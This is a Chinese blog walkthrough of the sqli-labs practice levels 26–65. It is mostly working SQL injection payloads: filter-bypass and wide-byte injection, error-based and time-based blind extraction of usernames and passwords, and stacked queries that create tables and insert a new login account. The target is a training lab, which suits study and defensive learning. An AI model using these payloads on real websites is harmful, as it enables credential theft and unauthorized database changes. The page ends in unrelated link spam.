?id1||(updatexml(1,concat(0x7e,database(),0x7e),1)) || 0 # 爆数据库名 ?id1||(updatexml(1,concat(0x7e(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schemasecurity))),1))||0 # 爆表 ?id1||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schemasecurityaandnd(table_nameusers)))),1))||0 # 爆字段 ?id1||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||0 # 爆密码账户这里我们直接给最后一个图 2.第二十七关 找到闭合点以后尝试着进行注入 二十七关和二十六差不多不过二十七关没有过滤and和or,过滤了select和union,我们可以大小写绕过以及重写绕过。 这里很明显过滤了空格 所以我们需要用大小写和双重写绕过且不能用空格 直接上命令 ?id1or(updatexml(1,concat(0x7e,database(),0x7e),1))or 0 # 爆库名 ?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schemasecurity))),1))or0 # 爆表 ?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schemasecurityand(table_nameusers)))),1))or0 # 爆字段 ?id1or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or0 # 爆密码账户28关 1.第二十八关 该关卡过滤了注释符空格还过滤了union和select。\s表示空格表示匹配一次或多次/i表示不区分大小写所以整体表示匹配 union加一个或多个空格加select其中union和select不区分大小。所以我们可以使用重写绕过写。 命令 ?id0)uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schemadatabase()and (1 # 爆表 ?id0)uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schemasecurity%0Aand%0Atable_nameusers%0Aand(1 # 爆字段 ?id0)uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A(1 # 爆数据29关-31关 1.第二十九关 就是会对输入的参数进行校验是否为数字但是在对参数值进行校验之前的提取时候只提取了第一个id值如果我们有两个id参数第一个id参数正常数字第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。 利用参数污染注入传入2个参数第一个用来欺骗waf第二个用于正常访问。 上命令 ?id1id-1 union select 1,2,database()-- # 暴库名 ?id1id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- # 爆表名 ?id1id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- # 爆字段 ?id1id-1 union select 1,2,group_concat(username,-,password) from security.users-- # 爆数据2.第三十关 跟29同理找到闭合点即可也是利用2个参数传入绕过waf 上命令 ?id1id-1 union select 1,2,database()-- ?id1id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- ?id1id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- ?id1id-1 union select 1,2,group_concat(username,-,password) from security.users--3.第三十一关 同理只是闭合点不一样闭合点是’) 命令 ?id1id-1) union select 1,2,database()-- # 爆库名 ?id1id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase()-- # 爆表 ?id1id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- # 爆字段 ?id1id-1) union select 1,2,group_concat(username,-,password) from security.users-- # 爆数据32-33关 1.第三十二关与第三十三关一样同样的命令方法即可 这一关是get请求栏中 发现使用什么都不能闭合但是可以使用宽字节 因为php源码中是用来greg_replace函数将斜杠单引号与双引号过滤了所以输入’之后不起作用所以这个时候我们可以使用宽字节注入当某字符的大小为一个字节时称其字符为窄字节当某字符的大小为两个字节时称其字符为宽字节。所有英文默认占一个字节汉字占两个字节。 我们使用%df和%27组合使其成为一个宽字节然后导致报错然后我们可以将后面注释从而形成注入 接着我们直接上命令: ?id1%df%27 order by 4 -- # 发现没有回显说明有3个字段 ?id-1%df%27union select 1,2,3 -- # 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1%df%27 union select 1,database(),version() -- # 可以得出数据库的名字和版本号 ?id-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- # 得到库中的所有表 ?id-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name0x7573657273 -- # 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name0x7573657273 and table_schemadatabase() -- ?id-1%df%27 union select 1,2,group_concat(username,id,password) from users -- 这里表名需要十六进制编码一下因为这里存在一个过滤 34关 1.第三十四关 又是我们熟悉的post请求 我们继续bp抓包测试 看到这个我们就很敏感了同样的道理还是将’转义了所以我们需要使用宽字节 这样的话就完美的解决了然后我们就可以使用我们的命令了直接上命令 admin%df order by 3 # 发现没有回显说明有2个字段 admin%df union select 1,2 # 判断显错 admin%df union select 1,database()# 可以得出数据库的名字 admin%df union select 1,version()# 可以得出数据库的版本 admin%dfunion select 1,group_concat(table_name)from information_schema.tables where table_schemadatabase() # 得到库中的所有表 admin%df union select 1,group_concat(column_name) from information_schema.columns where table_name0x7573657273 and table_schemadatabase()# 得到表中的字段,利用表中的字段得到我们的想要的数据 admin%dfunion select 1,group_concat(username,id,password) from users # 得到字段的具体的内容同理我们直接上最后一个图 35关 1.第三十五关 这里我们成功的找到了注入点就是’ --然后我们就可以使用联合注入但是肯定有过滤的东西所以我们直接上命令 ?id1 order by 4 # 得到字段数是3 ?id-1 union select 1,2,3 # 得出回显是2,3 ?id-1 union select 1,database(),version() # 得出数据库的版本和名字 ?id-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schemadatabase() # 爆出表名 ?id-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name0x7573657273 # 爆出字段但是这里的users表需要用16进制编码因为对users做了过滤 ?id-1 union select 1,2,group_concat(username,password) from users # 得到数据同理我们直接出最后一个图 36关 1.第三十六关 与32关一样所以直接上命令 发现没有回显说明有3个字段 ?id-1%df%27union select 1,2,3 -- 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1%df%27 union select 1,database(),version() -- 可以得出数据库的名字和版本号 ?id-1%df%27 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- 得到库中的所有表 ?id-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns where table_name0x7573657273 and table_schemadatabase() -- ?id-1%df%27 union select 1,2,group_concat(username,id,password) from users -- 37关 宽字节的post注入跟34一样但是需要用bp抓包 上命令 admin%df order by 3 # 发现没有回显说明有2个字段 admin%df union select 1,2 # 判断显错 admin%df union select 1,database() # 可以得出数据库的名字 admin%df union select 1,version() # 可以得出数据库的版本 admin%dfunion select 1,group_concat(table_name)from information_schema.tables where table_schemadatabase() # 得到库中的所有表 admin%df union select 1,group_concat(column_name) from information_schema.columns where table_name0x7573657273 and table_schemadatabase()# 得到表中的字段,利用表中的字段得到我们的想要的数据 admin%dfunion select 1,group_concat(username,id,password) from users # 得到字段的具体的内容38关-45关 1.第三十八关 到这里我们发现和第一关的是一样的但用第一关的做法来做就多多少少有点捞了这波是要我们练习堆叠注入的所以我们可以执行多条sql语句。所以我们可以插入一个表格或者修改数据或者删除数据库什么的这里都行所以就创建一个表吧 这里我们用工具连上数据库去看一下 确实是有我们创建的表 2.第三十九关 跟38关是原理一样所以我们这里只要找到闭合点就好了 我们发现闭合点就是没有闭合点所以我们这里直接进行堆叠语句就好了 那我们这里可以再表里面差一个数据 ?id1;insert into hjm values(1,hjm,123) # 解释一下hjm表中插入数据1 hjm 和 123 这个师傅们应该都懂还是我们连接数据库看一下 3.第四十关 同理找到闭合点就好了 我们继续创建表 ?id1); create table hjm2 like users;-- # 这里就不解释了师傅们都懂4.第四十一关 同样的道理找闭合点 找到注入点在这里我们可以进行插入数据 ?id1;insert into hjm2(id,username,password)values(1,hjm,password)同理我们上数据库看一下 5.第四十二关 这一关同理我们只要找到注入点就好了这里是一个post请求我们可以去抓包然后找到注入点之后利用堆叠注入 在这里我们找到了注入方式我们可以给users表中插入两个数据作为我们登陆账号和密码 ;insert into users(id,username,password) values (100,hjm1,123456)#然后我们可以上数据库看一下我们也可以直接登陆我们登陆看一下吧这里我们成功的登录进去成功拿下数据库 6.第四十三关 第四十三关是同样的思路找到闭合点就好了我们找到了注入点后面的是同样的同样的思路我们可以去拿他数据库也可以执行一些堆叠语句 7.第四十四关 四十四关和四十二关一样 8.第四十五关 四十五关和四十三关一样 46关-49关 1.第四十六关 使用新的参数sort通过输入123表中出现不同数据该sql语句是order bysql语句参数没有引号且不能使用联合注入有报错显示所以我们可以使用updatexml进行报错。 看到这我们可以尝试着用报错注入 上命令 ?sort3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- # 使用显错注入获得数据库的名字 ?sort3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- # 使用显错注入获取到版本号 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- # 使用显错注入获取到表名 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) -- # 使用显错注入获取到字段名 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) -- # 使用显错注入获取到username具体值 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) -- # 使用显错注入获取到password的具体值 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) -- # 使用显错注入获取到username和password的所有值设置好payload直接爆出所有的账户密码 2.第四十七关 四十七关和四十六差不多找到注入点可以使用报错注入 发现这里使用’闭合那么直接上命令 ?sort3 and (updatexml(1,concat(0x5c,database(),0x5c),1)) -- # 使用显错注入获得数据库的名字 ?sort3 and (updatexml(1,concat(0x5c,version(),0x5c),1)) -- # 使用显错注入获取到版本号 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- # 使用显错注入获取到表名 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) -- # 使用显错注入获取到字段名 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) -- # 使用显错注入获取到username具体值 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) -- # 使用显错注入获取到password的具体值 ?sort3 and (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) -- # 使用显错注入获取到username和password的所有值3.第四十八关 这里发现没有回显所以只能考虑进行盲注 找一下闭合点 发现闭合点 使用延时注入 直接上命令 ?sort3 and if(length((select database()))8,sleep(1),1)-- # 用时间延时注入判断数据库长度 ?sort3 and if(substr((select database()),1,1)s,sleep(1),1)-- # 使用时间延时判断数据库的第一个字母是不是s ?sort3 and if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(1),1) -- # 使用时间延时的注入来判断有4个表 ?sort3 and if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(1),1) -- # 使用时间延时注入来判断第一个表的长度是6 ?sort3 and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(1),1) -- # 使用时间延时注入来判断第一个表的名字 ?sort3 and if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(1),1) -- # 使用延时注入来判断第一个表中的字段有3个 ?sort3 and if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(1),1) -- # 使用延时注入来判断表中的字段的长度 ?sort3 and if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(1),1) -- # 使用延时注入来判断第个表中的第一个字段是i ?sort3 and if(substr((select username from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断username字段中的数据是否为D ?sort3 and if(substr((select password from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断password字段中的数据是否为D4.第四十九关 四十九关和四十七关一样不过没有报错显示所以使用延时注入。 在这里我们需要找一下注入点 直接上命令 ?sort3 and if(length((select database()))8,sleep(1),1)-- # 用时间延时注入判断数据库长度 ?sort3 and if(substr((select database()),1,1)s,sleep(1),1)-- # 使用时间延时判断数据库的第一个字母是不是s ?sort3 and if((select count(table_name) from information_schema.tables where table_schemadatabase())4,sleep(1),1) -- # 使用时间延时的注入来判断有4个表 ?sort3 and if (length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6,sleep(1),1) -- # 使用时间延时注入来判断第一个表的长度是6 ?sort3 and if(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1)e,sleep(1),1) -- # 使用时间延时注入来判断第一个表的名字 ?sort3 and if((select count(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers)3,sleep(1),1) -- # 使用延时注入来判断第一个表中的字段有3个 ?sort3 and if(length((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1))2,sleep(1),1) -- # 使用延时注入来判断表中的字段的长度 ?sort3 and if(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1)i,sleep(1),1) -- # 使用延时注入来判断第个表中的第一个字段是i ?sort3 and if(substr((select username from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断username字段中的数据是否为D ?sort3 and if(substr((select password from users limit 0,1),1,1)D,sleep(1),1) -- # 使用延时注入来判断password字段中的数据是否为D51-53关 1.第五十一关 这里找到注入点我们可以尝试用显错注入我们直接上命令 ?sort or (updatexml(1,concat(0x5c,database(),0x5c),1)) -- 使用显错注入获得数据库的名字 ?sort or (updatexml(1,concat(0x5c,version(),0x5c),1)) --使用显错注入获取到版本号 ?sort or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schemadatabase()),0x5c),1)) -- 使用显错注入获取到表名 ?sort or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schemadatabase() and table_nameusers),0x5c),1)) --使用显错注入获取到字段名 ?sort or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --使用显错注入获取到username具体值 ?sort or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --使用显错注入获取到password的具体值 ?sort or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --使用显错注入获取到username和password的所有值2.第五十二关 在这里我们发现了这里有注入点可以在这里进行堆叠注入比如创建数据库 ?sort1; create table abc like users;我们连上数据库看一下 存在我们创建的表 3.第五十三关 与52关同理知道找到闭合点就好了 这里也是同样适用创建表 ?sort1;create table bbb like users; --同理我们看一下 54关-57关 1.第五十四关 翻译页面的英文得知只有十次输入机会超过十次所有表名列名等等都会随机重置。id参数是单引号闭合就 可以了 找到注入点以后我们就可以去找字段以及显错位置 ?id1 and 11 -- ?id1 order by 3 -- ?id1 order by 4 -- # 发现没有回显说明有3个字段 ?id-1 union select 1,2,3 -- # 判断显错位可以得出显错位是2,3 利用2,3进行注入 ?id-1 union select 1,database(),version() -- # 可以得出数据库的名字和版本号 ?id-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schemadatabase() -- # 得到库中的所有表 ?id?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name5mun9luvtz -- # 这个5m是我得出的 得到表中的字段,利用表中的字段得到我们的想要的数据 ?id-1union select 1,2,group_concat(secret_IVJ4) from 5mun9luvtz -- 得到数据库的名字是challenges 然后爆字段 得到表是5mun91uvtz得到字段 这里需要得到secret这个字段 得到结果 kP7TlVSNsbtjJb1iosg1PucL 用这个结果登录即可 2.第五十五关 思路与54一样只是这里闭合的点是) 而的命令与54同理使用联合注入就可以 3.第五十六关 同样的思路这里的闭合点是单引号括号 然后利用联合注入就好了 4.第五十七关 同理这里使用闭合就好了然后利用联合查询就好了 58-61关 1.第五十八关 同样在这里我们找到了注入点但是次数只有5次所以我们想到了报错注入 ?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)-- # 爆出表的名字 ?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_namex87nrg3jvg),0x7e),1)-- # 爆列名 ?id1 and updatexml(1,concat(0x7e,(select group_concat(secret_SX1R) from x87nrg3jvg),0x7e),1)-- # 爆字段名 也就是钥匙知道表名x87nrg3jvg 爆出字段的名字idsessicsecret_sx1R,tryy 我们来爆结果 hqgQA9uNcTQsHUIGD4859Zzu 提交即可 2.第五十九关 同理这里是整形的所以直接使用– 然后进行报错注入就好了! 3.第六十关 在这里我们发现了闭合点是) 后面同理使用显错就好了 4.第六十一关 同理这里发现是))闭合找到闭合点显错就好了 62-65关 1.第六十二关 这里发现闭合以后不报错没有回复所以这里是使用盲注盲注命令前面都有这里就找一下闭合点了 找到了闭合点我们可以使用延时注入和布尔注入去找 2.第六十三关 同样的思路去找闭合点然后盲注就好了 这里是用’ --进行的注释 3.第六十四关 还是找闭合点! 是ID )) --这种闭合方式 所以这里我们还是进行盲注 4.第六十五关 这里找到了闭合点是使用) -- 的 之后继续使用盲注 小结 这里有些细心的师傅应该会发现后面的ip地址是发生变化的这里是我在打靶过程中出现了一些问题然后重新搭建的另一个靶机 总结: 这里写了所有关卡的方法其实那些方法都大差不差主要是学习思路所以后续一些关卡的命令就没有拿出来因为同前面的都一样 这五六天的过程中也是一个比较煎熬的过程好在最后是坚持了下来 整个过程中费时费力这是一件挺耗费精力的事情花了很长世界写了这篇文章希望对于各位师傅有所帮助后续还在持续的更新中
http://www.tj-hxxt.cn/news/223607.html

相关文章:

  • 网站 二级域名需要备案吗微信小程序代码生成器
  • 上海个人网站建设湖南云网站建设
  • 中国空间站设计在轨飞行多少年无锡所有网站设计制作
  • 飞沐网站建设公司网页版微信登录入口手机
  • 手机网站制作与建设怎么在360上做推广
  • 移动公司需要网络工程专业来宾网站优化
  • 2016年网站设计风格中国十大广告公司排名
  • 金融企业网站整站源码蔚县网站建设公司
  • 嘉兴seo网站建设网站设计步骤图片
  • 维护公司网站建设台州网站建设惠店科技
  • 做校园网站在线建筑设计
  • 石家庄市市政建设工程公司网站南昌优化网站推广
  • 济南做网站找哪家好上海快速网站建设
  • 东莞网络推广网站微信公众号商城开发费用
  • 亚马逊官方网站的建设综合网站系统
  • 网站建设zg886安徽建网站
  • 做网站充值系统php做购物网站怎么样
  • 旅游网网站建设方案廊坊教育云网站建设
  • 网站建设 博贤科技苏州地产网站建设
  • 哪些网站适合推广天津做网站美工
  • 加强心理咨询网站的建设推广计划地域设置的作用描述不正确的是
  • 个人可以做建站网站么百度竞价排名规则及费用
  • 手机网站模板尺寸站长工具特级a免费
  • 做企业网站要用什么软件phpstudy2016快速搭建网站
  • 强化 门户网站建设网站制作的收费
  • 做网站的云服务器选什么网站建设的风险识别
  • 论医院网站的建设网站开发 图片
  • 科技感网站模板茂名模板建站代理
  • 织梦新闻门户网站模板 原创精品怎么才能访问自己做的网站
  • html5 做网站网站建设谈单思路